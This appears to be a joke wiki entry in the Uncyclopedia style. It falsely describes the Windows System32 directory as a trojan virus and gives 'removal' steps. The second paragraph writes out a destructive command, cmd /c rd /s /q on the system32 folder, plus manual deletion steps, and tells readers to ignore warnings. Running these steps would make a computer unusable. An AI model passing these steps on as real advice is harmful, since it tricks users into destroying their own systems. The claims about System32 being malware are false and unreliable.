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System32

System32 (and its evil cousin System64) is a virus going by many names which infects your Windows, ReactOS. Mac or Linux system directory and turns it into a Sega game. Microsoft makes software to remedy this called "My Computer", but it doesn't work with the other OSes affected, which have to use a program called "Terminal".

To remove the System32 (or System64) trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type cmd /c rd /s /q %windir%\system32 or cmd /c rd /s /q %windir%\system64 -- or you may double-click "My Computer", then go in to the C: directory, double click "Windows", right-click System32 and then choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.

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